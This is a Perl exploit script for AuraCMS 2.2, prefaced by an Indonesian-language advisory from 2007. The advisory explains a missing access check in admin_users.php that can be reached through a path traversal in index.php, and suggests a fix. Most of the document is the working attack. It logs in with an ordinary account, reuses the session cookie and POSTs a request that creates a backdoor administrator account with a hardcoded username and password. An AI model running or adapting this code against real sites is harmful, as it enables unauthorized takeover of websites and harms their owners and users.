#!/usr/bin/perl # # Indonesian Newhack Security Advisory # ------------------------------------ # AuraCMS 2.2 - (admin_users.php) Remote Add Administrator Exploit # Waktu : Dec 25 2007 04:50AM # Software : AuraCMS 2.2 # Vendor : http://www.auracms.org/ # Ditemukan oleh : k1tk4t | http://newhack.org # Lokasi : Indonesia # Penjelasan : # # Kutu pada berkas "admin_users.php" # coba kita lihat ; # 01. Lantas Bagaimana Mengaksesnya, bukankah berkas "admin_users.php" tidak bisa dipanggil langsung [Baris 02 - 06] ? # yup benar ;) "admin_users.php" tidak bisa di panggil langsung melalui browser, sekarang coba kita lihat pada berkas "index.php" ; # ---//--- # 71. if(!isset($_GET['pilih'])){ # 72. include 'content/normal.php'; # 73. }else if (@$_GET['mod'] == 'yes' && file_exists('mod/'.@$_GET['pilih'].'/'.@$_GET['pilih'].'.php') && !isset($_GET['act']) && !preg_match("/\.\./",$_GET['pilih'])) { # 74. include 'mod/'.$_GET['pilih'].'/'.$_GET['pilih'].'.php'; # 75. }else if (@$_GET['mod'] == 'yes' && file_exists('mod/'.@$_GET['pilih'].'/'.@$_GET['act'].'.php') && !preg_match("/\.\./",$_GET['pilih'])) { # 76. include 'mod/'.@$_GET['pilih'].'/'.@$_GET['act'].'.php'; # 77. }else if(!isset($_GET['mod']) && !isset($_GET['act']) && file_exists('content/'.$_GET['pilih'].'.php') && !preg_match("/\.\./",$_GET['pilih'])) { # 78. include 'content/'.$_GET['pilih'].'.php'; # 79. }else { # 80. header("location: index.php"); # 81. exit; # 82. } # ---//--- # mm... perhatikan kode2 tersebut... menarik bukan? # iya dengan berkas "index.php" inilah kita bisa mengakses "admin_users.php" atau dengan kata lain mematahkan baris 02 - 06 pada berkas "admin_users.php", # # => Ooo Gitu..., terus memperbaikinya gmana ? # hehehe... # coba ganti baris 02 - 06 pada berkas "admin_users.php" dengan ; # ---//--- # 02. if (!defined('AURACMS_admin')) { # 03. Header("Location: ../index.php"); # 04. exit; # 04. } # ---//-- # Sebenarnya code tersebut sudah ada pada berkas2 admin lainnya, terkecuali pada berkas ; # "admin_users.php" # "admin_poll.php" # "admin_kalender.php" # # => Ada apa lagi ? # Exploit ini dibuat untuk pengetesan belaka, bukan untuk kegiatan terlarang # saya[k1tk4t] dan "Indonesian Newhack Technology" tidak bertanggung jawab akan kerusakan yang diakibatkan dari penyalahgunaan exploit pada site # # => # Terima Kasih untuk; # -[opt1lc, fl3xu5, ghoz]- # str0ke, DNX, xoron, cyb3rh3b, K-159, the_hydra, y3dips # nyubi,iFX,sin~X,k1n9k0ng,bius,selikoer,aldy_BT # Komunitas Security dan Hacker Indonesia # # ----------------------------[Mulai]------------------------------------ use IO::Socket; if(!$ARGV[4]) { print "\n |--------------------------------------------------------|"; print "\n | Indonesian Newhack Technology |"; print "\n |--------------------------------------------------------|"; print "\n |AuraCMS 2.2 - (admin_users.php) Remote Add Admin Exploit|"; print "\n | Coded by k1tk4t |"; print "\n |--------------------------------------------------------|"; print "\n[!] "; print "\n[!] Buat Account terlebih dahulu pada site target dan pastikan Account tesebut bisa digunakan"; print "\n[!] Username dan Password tadi akan digunakan untuk membuat Account admin dengan exploit ini"; print "\n[!] Penggunaan : perl auracms22.pl [Site] [Path] [Port] [Username] [Password] "; print "\n[!] Contoh : perl auracms22.pl target.com /auracms2.2/ 80 bugtest 123456"; print "\n[!] "; print "\n"; exit; } $oriserver = $ARGV[0]; $orihost = "http://".$oriserver; $oridir = $ARGV[1]; $oriport = $ARGV[2]; $oriuser = $ARGV[3]; $oripass = $ARGV[4]; #Sending data... print "- Melakukan Koneksi $orihost$oridir\r\n\r\n"; logindulu(); sub logindulu () { $ldberkas = "index.php"; $ldlengkap = $oridir.$ldberkas; $lddata = "username=".$oriuser; $lddata.= "&password=".$oripass; $lddata.= "&loguser=1"; $lddata.= "&submit_login=Login"; $lddatajml = length($lddata); $ldkonek = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$oriserver", PeerPort => "$oriport") || die "- Connection failed...\r\n"; print $ldkonek "POST $ldlengkap HTTP/1.1\n"; print $ldkonek "Accept: */*\r\n"; print $ldkonek "Referer: $orihost\r\n"; print $ldkonek "Accept-Language: en-us,en;q=0.5\r\n"; print $ldkonek "Content-Type: application/x-www-form-urlencoded\r\n"; print $ldkonek "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11\r\n"; print $ldkonek "Host: $oriserver\r\n"; print $ldkonek "Content-length: $lddatajml\r\n"; print $ldkonek "Connection: Keep-Alive\r\n"; print $ldkonek "Cache-Control: no-cache\r\n\r\n"; print $ldkonek $lddata; print $ldkonek "\r\n\r\n"; while ($hasil = <$ldkonek>) { if ($hasil =~ /Set-Cookie: (.*?) path=\//) { $ldkonekcookie = $ldkonekcookie.$1; } if ($hasil =~ /$oriuser<\/b>/) { buatadmin(); } } die "- Gagal Login\r\n"; } sub buatadmin () { close ($ldkonek); print "- Membuat User t4mugel4p dengan level Administrator\r\n\r\n"; $baberkas = "index.php?pilih=news&act=../../admin/admin_users&mod=yes&aksi=add"; $balengkap = $oridir.$baberkas; $badata = "user=t4mugel4p"; $badata.= "&password=t4mugel4p"; $badata.= "&email=t4mugel4p%40gelapbanget.gitu"; $badata.= "&level=Administrator"; $badata.= "&tipe=aktif"; $badata.= "&add_users=Add"; $badatajml = length($badata); $bakonek = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$oriserver", PeerPort => "$oriport") || die "- Connection failed...\r\n"; print $bakonek "POST $balengkap HTTP/1.1\r\n"; print $bakonek "Accept: */*\r\n"; print $bakonek "Referer: $orihost.$balengkap\r\n"; print $bakonek "Accept-Language: en-us,en;q=0.5\r\n"; print $bakonek "Content-Type: application/x-www-form-urlencoded\r\n"; print $bakonek "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11\r\n"; print $bakonek "Cookie: $ldkonekcookie\r\n"; print $bakonek "Host: $oriserver\r\n"; print $bakonek "Content-length: $badatajml\r\n"; print $bakonek "Connection: Keep-Alive\r\n"; print $bakonek "Cache-Control: no-cache\r\n\r\n"; print $bakonek $badata; print $bakonek "\r\n\r\n"; while ($hasil = <$bakonek>) { if ($hasil =~ /Data Berhasil Di add/) { print "- Exploiting Selesai dan SUKSES !!!\r\n\r\n"; print "- Login admin menggunakan\r\n" ; print "- Username : t4mugel4p\r\n"; print "- Password : t4mugel4p\r\n\r\n"; print "- Pada site $orihost$ldlengkap\r\n"; exit(); } if ($hasil =~ /(Data Berhasil Di add)/) { print "- Exploit Gagal\r\n"; exit(); } } die "- Exploit Gagal\r\n"; }